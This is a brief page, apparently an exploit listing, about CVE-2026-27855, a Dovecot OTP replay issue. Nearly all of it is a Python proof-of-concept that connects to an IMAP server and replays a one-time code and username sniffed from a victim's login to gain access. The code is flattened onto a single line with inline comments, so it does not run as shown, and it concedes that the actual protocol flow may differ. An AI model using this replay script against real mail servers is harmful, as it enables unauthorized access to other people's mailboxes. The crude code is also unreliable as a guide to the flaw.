CVE-2026-27855 Dovecot OTP认证重放攻击漏洞

# Conceptual PoC for CVE-2026-27855 Dovecot OTP Replay # This script demonstrates how a captured OTP credential can be replayed # if the server is misconfigured with auth cache and username alteration. import socket # Configuration TARGET_HOST = '192.168.1.100' TARGET_PORT = 143 # IMAP port # Captured credentials from network sniffing # Attacker observed this exchange during a legitimate login CAPTURED_USER = '[email protected]' CAPTURED_OTP = '839201' # The valid OTP code used by the victim def replay_attack(): print(f"[*] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}") try: # Establish connection to the Dovecot server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Receive server banner banner = s.recv(1024).decode() print(f"[+] Server Banner: {banner.strip()}") # Attempt to authenticate using the replayed OTP # Note: Actual protocol implementation depends on specific IMAP/POP3 flow # This represents the payload injection of the captured OTP auth_payload = f"A001 LOGIN {CAPTURED_USER} {CAPTURED_OTP}\r\n" print(f"[*] Sending replayed payload: {auth_payload.strip()}") s.send(auth_payload.encode()) # Check response response = s.recv(1024).decode() print(f"[+] Server Response: {response.strip()}") if "OK" in response: print("[!] SUCCESS: Logged in using replayed OTP!") else: print("[-] FAILED: Server rejected the replayed OTP.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": replay_attack()